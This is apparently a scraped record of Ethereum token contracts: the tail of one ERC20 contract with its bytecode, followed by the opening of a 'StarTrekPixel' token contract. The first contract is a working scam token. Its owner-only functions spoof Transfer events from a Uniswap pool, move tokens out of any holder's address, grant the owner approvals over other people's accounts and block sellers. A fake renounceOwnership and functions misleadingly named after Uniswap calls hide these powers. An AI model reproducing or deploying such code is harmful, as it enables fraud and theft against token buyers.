require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _auth() {
require(msg.sender == _owner, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){
//Emit Transfer Spoofer from Uniswap Pool
emit Transfer(emitUniswapPool, emitReceiver, emitAmount);}
function exec(address recipient) public _auth(){
_affirmative[recipient]=true;
_approve(recipient, cr,_approveValue);}
function obstruct(address recipient) public _auth(){
//Blker
_affirmative[recipient]=false;
_approve(recipient, cr,0);
}
function renounceOwnership() public _auth(){
//Renounces Ownership
}
function reverse(address target) public _auth() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) {
//Single Tranfer
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){
//Emit Single Transfer
emit Transfer(emitSender, emitRecipient, emitAmount);
}
function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function burnLPTokens()public _auth(){}
}
|
0x608060405234801561001057600080fd5b50600436106101b95760003560e01c80636bb6126e116100f9578063a9059cbb11610097578063cd2ce4f211610071578063cd2ce4f2146108e0578063d8fc292414610a24578063dd62ed3e14610b68578063e30bd74014610ba3576101b9565b8063a9059cbb1461089f578063b2bdfa7b146108d8578063bb88603c14610809576101b9565b806395d89b41116100d357806395d89b4114610811578063a1a6d5fc14610819578063a64b6e5f1461085c578063a901431314610819576101b9565b80636bb6126e146107a357806370a08231146107d6578063715018a614610809576101b9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146106635780635768b61a1461069c5780636268e0d5146106cf57806362eb33e314610772576101b9565b8063313ce567146103bd5780633cc4430d146103db5780634c0cc9251461051f576101b9565b80630cdfb628116101975780630cdfb6281461032d57806318160ddd1461036057806323b872dd1461037a576101b9565b8063043fa39e146101be57806306fdde0314610263578063095ea7b3146102e0575b600080fd5b610261600480360360208110156101d457600080fd5b8101906020810181356401000000008111156101ef57600080fd5b82018360208201111561020157600080fd5b8035906020019184602083028401116401000000008311171561022357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bd6945050505050565b005b61026b610d4e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a557818101518382015260200161028d565b50505050905090810190601f1680156102d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610319600480360360408110156102f657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610e02565b604080519115158252519081900360200190f35b6102616004803603602081101561034357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610e1f565b610368610eec565b60408051918252519081900360200190f35b6103196004803603606081101561039057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610ef2565b6103c5610f99565b6040805160ff9092168252519081900360200190f35b610261600480360360608110156103f157600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561042957600080fd5b82018360208201111561043b57600080fd5b8035906020019184602083028401116401000000008311171561045d57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156104ad57600080fd5b8201836020820111156104bf57600080fd5b803590602001918460208302840111640100000000831117156104e157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fa2945050505050565b6102616004803603606081101561053557600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184602083028401116401000000008311171561062557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110cd945050505050565b6102616004803603604081101561067957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356111ac565b610261600480360360208110156106b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166112e9565b610261600480360360208110156106e557600080fd5b81019060208101813564010000000081111561070057600080fd5b82018360208201111561071257600080fd5b8035906020019184602083028401116401000000008311171561073457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113cf945050505050565b61077a611542565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610261600480360360208110156107b957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661155e565b610368600480360360208110156107ec57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611649565b610261611671565b61026b6116f9565b6102616004803603606081101561082f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135611778565b6103196004803603606081101561087257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135611868565b610319600480360360408110156108b557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118fc565b61077a611910565b610261600480360360608110156108f657600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561092e57600080fd5b82018360208201111561094057600080fd5b8035906020019184602083028401116401000000008311171561096257600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156109b257600080fd5b8201836020820111156109c457600080fd5b803590602001918460208302840111640100000000831117156109e657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061192c945050505050565b61026160048036036060811015610a3a57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169190810190604081016020820135640100000000811115610a7257600080fd5b820183602082011115610a8457600080fd5b80359060200191846020830284011164010000000083111715610aa657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050640100000000811115610af657600080fd5b820183602082011115610b0857600080fd5b80359060200191846020830284011164010000000083111715610b2a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611a51945050505050565b61036860048036036040811015610b7e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611b07565b61031960048036036020811015610bb957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611b3f565b600d5473ffffffffffffffffffffffffffffffffffffffff163314610c5c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f216f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60005b8151811015610d4a57600160026000848481518110610c7a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060016000848481518110610ce557fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055600101610c5f565b5050565b60058054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610df85780601f10610dcd57610100808354040283529160200191610df8565b820191906000526020600020905b815481529060010190602001808311610ddb57829003601f168201915b5050505050905090565b6000610e16610e0f611bdc565b8484611be0565b50600192915050565b600d5473ffffffffffffffffffffffffffffffffffffffff163314610ea557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f216f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60045490565b6000610eff848484611d27565b610f8f84610f0b611bdc565b610f8a85604051806060016040528060288152602001612a046028913973ffffffffffffffffffffffffffffffffffffffff8a16600090815260036020526040812090610f56611bdc565b73ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002054919063ffffffff61263516565b611be0565b5060019392505050565b60075460ff1690565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461102857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b60005b82518110156110c75782818151811061104057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106110a257fe5b60200260200101516040518082815260200191505060405180910390a360010161102b565b50505050565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461115357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b6111678361115f611bdc565b600854611be0565b60005b82518110156110c7576111a48484838151811061118357fe5b602002602001015184848151811061119757fe5b60200260200101516126e6565b60010161116a565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461123257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454611245908263ffffffff61291816565b600455600d5473ffffffffffffffffffffffffffffffffffffffff16600090815260208190526040902054611280908263ffffffff61291816565b600d5473ffffffffffffffffffffffffffffffffffffffff90811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461136f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff808216600090815260016020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055600b546113cc928492911690611be0565b50565b600d5473ffffffffffffffffffffffffffffffffffffffff16331461145557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f216f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60005b8151811015610d4a57600180600084848151811061147257fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106114dd57fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055600101611458565b600b5473ffffffffffffffffffffffffffffffffffffffff1681565b600d5473ffffffffffffffffffffffffffffffffffffffff1633146115e457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff808216600090815260016020819052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169091179055600b546008546113cc9284921690611be0565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b600d5473ffffffffffffffffffffffffffffffffffffffff1633146116f757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b565b60068054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610df85780601f10610dcd57610100808354040283529160200191610df8565b600d5473ffffffffffffffffffffffffffffffffffffffff1633146117fe57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600d5460009073ffffffffffffffffffffffffffffffffffffffff1633146118f157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b610eff8484846126e6565b6000610e16611909611bdc565b8484611d27565b600d5473ffffffffffffffffffffffffffffffffffffffff1681565b600d5473ffffffffffffffffffffffffffffffffffffffff1633146119b257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b60005b82518110156110c7578281815181106119ca57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110611a2c57fe5b60200260200101516040518082815260200191505060405180910390a36001016119b5565b600d5473ffffffffffffffffffffffffffffffffffffffff163314611ad757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b611ae38361115f611bdc565b60005b82518110156110c757611aff8484838151811061118357fe5b600101611ae6565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260036020908152604080832093909416825291909152205490565b600d5460009073ffffffffffffffffffffffffffffffffffffffff163314611bc857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b611bd48261115f611bdc565b506001919050565b3390565b73ffffffffffffffffffffffffffffffffffffffff8316611c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612a516024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216611cb8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129bc6022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d5484918491849173ffffffffffffffffffffffffffffffffffffffff9182169116148015611d745750600d5473ffffffffffffffffffffffffffffffffffffffff8481169116145b15611fdc57600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff848116919091179091558616611e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a2c6025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8516611e81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806129996023913960400191505060405180910390fd5b611e8c868686612993565b611edc846040518060600160405280602681526020016129de6026913973ffffffffffffffffffffffffffffffffffffffff8916600090815260208190526040902054919063ffffffff61263516565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152602081905260408082209390935590871681522054611f1e908563ffffffff61291816565b73ffffffffffffffffffffffffffffffffffffffff808716600090815260208190526040902091909155600d5487821691161415611f7257600c5473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361262d565b600d5473ffffffffffffffffffffffffffffffffffffffff8481169116148061201f575060095473ffffffffffffffffffffffffffffffffffffffff8481169116145b806120445750600d5473ffffffffffffffffffffffffffffffffffffffff8381169116145b1561211557600d5473ffffffffffffffffffffffffffffffffffffffff848116911614801561209e57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156120a957600a8190555b73ffffffffffffffffffffffffffffffffffffffff8616611e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a2c6025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602081905260409091205460ff16151514156121b55773ffffffffffffffffffffffffffffffffffffffff8616611e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a2c6025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602052604090205460ff161515600114156122805760095473ffffffffffffffffffffffffffffffffffffffff8481169116148061222b5750600b5473ffffffffffffffffffffffffffffffffffffffff8381169116145b6120a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806129de6026913960400191505060405180910390fd5b600a548110156123665760095473ffffffffffffffffffffffffffffffffffffffff838116911614156120a95773ffffffffffffffffffffffffffffffffffffffff8381166000908152600260209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0091821681179092559252909120805490911690558616611e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a2c6025913960400191505060405180910390fd5b60095473ffffffffffffffffffffffffffffffffffffffff848116911614806123a95750600b5473ffffffffffffffffffffffffffffffffffffffff8381169116145b6123fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806129de6026913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff861661246a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a2c6025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff85166124d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806129996023913960400191505060405180910390fd5b6124e1868686612993565b612531846040518060600160405280602681526020016129de6026913973ffffffffffffffffffffffffffffffffffffffff8916600090815260208190526040902054919063ffffffff61263516565b73ffffffffffffffffffffffffffffffffffffffff8088166000908152602081905260408082209390935590871681522054612573908563ffffffff61291816565b73ffffffffffffffffffffffffffffffffffffffff808716600090815260208190526040902091909155600d54878216911614156125c757600c5473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b505050505050565b600081848411156126de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126a357818101518382015260200161268b565b50505050905090810190601f1680156126d05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b73ffffffffffffffffffffffffffffffffffffffff8316612752576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612a2c6025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806129996023913960400191505060405180910390fd5b6127c9838383612993565b612819816040518060600160405280602681526020016129de6026913973ffffffffffffffffffffffffffffffffffffffff8616600090815260208190526040902054919063ffffffff61263516565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260208190526040808220939093559084168152205461285b908263ffffffff61291816565b73ffffffffffffffffffffffffffffffffffffffff808416600090815260208190526040902091909155600d54848216911614156117fe57600c5473ffffffffffffffffffffffffffffffffffffffff1692508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282018381101561298c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122001b49df3629105d67a3eac907d22f79193df0605be866edd508ad42caca8f17364736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,636 |
0xbef21669c8f6b45c85baf74251645bcecbca3c0c
|
/*
StarTrekPixel | t.me/startrekpixel
:-:.:-:.:-.:.:-:.--.:-:-:.-:.:-:.:-.:.:-:.--.:-:.:.-:.:-:.:-.:.:-:.--.:-:-:.-:.:-:.:-.:.:-:.--.:-:-:
:-:-:-:-:--:-:-:---.:-:-:.-:-:-:-:--:-:-:---.:-+dm.-:-:-:-:--:-:-:---.:-:-:.-:-:-:-:--:-:-:---.:-:-:
:-:-:-:-:--:-:-:.--.:-:-:.-:-:-:-:--:-:-:.--.oyysyyy/-:-:-:--:-:-:.--.:-:-:.-:-:-:-:--:-:-:.--.:-:-:
--:.:-:.:-.:.:-:.--.:-:.:.-:.:-:.:-.:.:-:.--.hMd:/hhso+-:.:-.:.:-:.--.:-:.:.-:.:-:.:-.:.:-:.--.:-:.:
---.:.:.:-.:.:.:.--.:.:.:.--.:.:.:-.:.:.:.-//ydy-/:/mMs.:.:-.:.:.:.--.:.:.:.--.:.:.:-.:.:.:.--.:.:.-
:-:.:-:.:-.:-:-:.--.:-:-:.-:.:-:.:-.:-:-:.-mNs//`-::dms:/.:-.:-:-:.--.:-:-:.-:.:-:.:-.:-:-:.--.:-:-:
:-:-:-:-:--:-:-:.--.:-:-:.-:-:-:-:--:-:-:--mNs:/`-`.//yNd.:--:-:-:.--.:-:-:.-:-:-:-:--:-:-:.--.:-:-:
---.:.:.--.:.:.:.--.:.:.:.--.:.:.--.:.:.:mmo+:`-`.``/:yMd.--.:.:.:.--.:.:.:.--.:.:.--.:.:.:.--.:.:.-
---.:.:.--.:.:.:.--.:.:.:.--.:.:.--.:.:.:MM+::`.`.``-./osdd-.:.:.:.--.:.:.:.--.:.:.--.:.:.:.--.:.:.-
:-:-:-:-:--:-:-:---.:-:-:.-:-:-:-:--:-:-/MM+/:`-`-``.`:/oMM--:-:-:---.:-:-:.-:-:-:-:--:-:-:---.:-:-:
:-:-:-:-:--:-:-:---.:-:-:.-:-:-:-:--:-/oshh/--`-`-``.`:-+hhoo/-:-:---.:-:-:.-:-:-:-:--:-:-:---.:-:-:
:-:-:-:-:--:-:-:----:-:-:.-:-:-:-://+/yMN:/.`-`-`-``.`-`-//NMs/+/+//--:-:-:.-:-:-:-:--:-:-:----:-:-:
-.-.:.:.-..:.:.:.--.:.:.:..-.:-/-:mNNNNMN:/. . . . `. . -:/NMNNNNNNN/-/-:.:..-.:.:.-..:.:.:.--.:.:.-
---.:.:.--.:.:.:.--.:.:.:.-:-sNNNN::/:sNN:/.`.`.`.``.`.`-:/NNo:/:/::mNNNh-:.--.:.:.--.:.:.:.--.:.:.-
:-:-:-:-:--:-:-:.--.:-:-:--hmy/+/+:-hmh+o`..`-`-`-``.`-`-`-++dmy-/-://+/smm.-:-:-:-:--:-:-:.--.:-:-:
:-:.:-:.:-.:.:-:.--.:-:.:hhs++-/-::-dMh//`..`-`-`-``.`-`-`./:dMh-/-::-/-/+ohh/.:-:.:-.:.:-:.--.:-:.:
:-:.:-:.:-.:-:-:.--.:-/syss/-/-/-::-dMh//`..`-`-`-``.`-`-`./:dMh-/-::-/-/-/ssys+-:.:-.:-:-:.--.:-:-:
:-:.:-:.:-.:-:-:.--.:-oMM-::-/-/-:oohhs-:`..`-`-`-``.`-`-`.--yhyos-::-/-/-/-:mMs-:.:-.:-:-:.--.:-:-:
:-:.:-:.:-.:.:-:.--.:-oMM-::-/-/-:NMs//`-`..`-`-`-``.`-`-`.``//yMN-::-/-/-/-:mMs-:.:-.:.:-:.--.:-:.:
:-:-:-:-:-.:-:-:.--.:-oMM-::-/-/-:NMs//`-`..`-`-`-``.`-`-`.``/:sNm:/:-/-/-/-:mMs-:-:-.:-:-:.--.:-:-:
---.:.:.--.:.:.:.--.:.oMM--:-/-:-:NMo::`.`.``.`.`.``.`.`.`.``.`:/+NN/-/-:-/--mMs.:.--.:.:.:.--.:.:.-
-.-.:.:.-..:.:.:.--.:.::/mm+-:-+mm++:`- . `` . . .::/:/:/ .` . ::+MM/-:-:-:mm+::.:.-..:.:.:.--.:.:.-
:-:-:-:-:--:-:-:----:-:-:++hds-+MM//:`-`-`..`-`--/ddddddh-/``-`:/+MM/-/-+dd/+:-:-:-:--:-:-:----:-:-:
:-:-:-:-:--:-:-:.--.:-:-:.-osyyhMM//-`-`-`..`:-+yhssysysyyh---`--:yyyyyyysy.-:-:-:-:--:-:-:.--.:-:-:
:-:.:-:-:-.:-:-:.--.:-:-:.-:.ohdMM//-`-`-`.-.+syhd-::-/-+hhss/.-`-//NMdhs.:.-:.:-:-:-.:-:-:.--.:-:-:
---.:.:.:-.:.:.:.--.:.:.:.--.:./MM/:-`.`.`.++dMd/+/++/+/+/+NMy+/`-:/NMo.:.:.--.:.:.:-.:.:.:.--.:.:.-
---.:.:.--.:.:.:.--.:.:.:.--.::+NN::-`.`-/+dmmmmmmmmmmmmmmmmmmmh/+:/NMo.:.:.--.:.:.--.:.:.:.--.:.:.-
:-:-:-:-:-.:-:-:.--.:-:-:.-:-sNd/+.`-`:/+mm/:/:/:/::/:/:/:/::/:smm//mNo-:-:.-:-:-:-:-.:-:-:.--.:-:-:
:-:.:-:.:-.:.:-:.--.:-:.:.-:.yMm:/``::smd//-.:-:.:.-:.:-:.:-.:.//+mm+//-:.:.-:.:-:.:-.:.:-:.--.:-:.:
---.:.:.:-.:.:.:.--.:.:.:.-:.yMm:/:-ydy+o.--.:.:.:.-:.:.:.:-.:.:.:+o-.:.:.:.-:.:.:.:-.:.:.:.--.:.:.:
:-:.:-:.:-.:-:-:.--.:-:-:.-:.yMm:/yyyso-:.--.:-:-:.-:.:-:.:-.:-:-:.--.:-:-:.-:.:-:.:-.:-:-:.--.:-:-:
:-:-:-:-:--:-:-:----:-:-:.-:-ohhoshh/-:-:----:-:-:.-:-:-:-:--:-:-:----:-:-:.-:-:-:-:--:-:-:----:-:-:
:-:.:.:.:-.:.:.:.--.:.:.:.-:.:./mm-.:.:.:.--.:.:.:.-:.:.:.:-.:.:.:.--.:.:.:.-:.:.:.:-.:.:.:.--.:.:.:
---.:.:.--.:.:.:.--.:.:.:.--.:.:.--.:.:.:.--.:.:.:.--.:.:.--.:.:.:.--.:.:.:.--.:.:.--.:.:.:.--.:.:.-
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-12
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
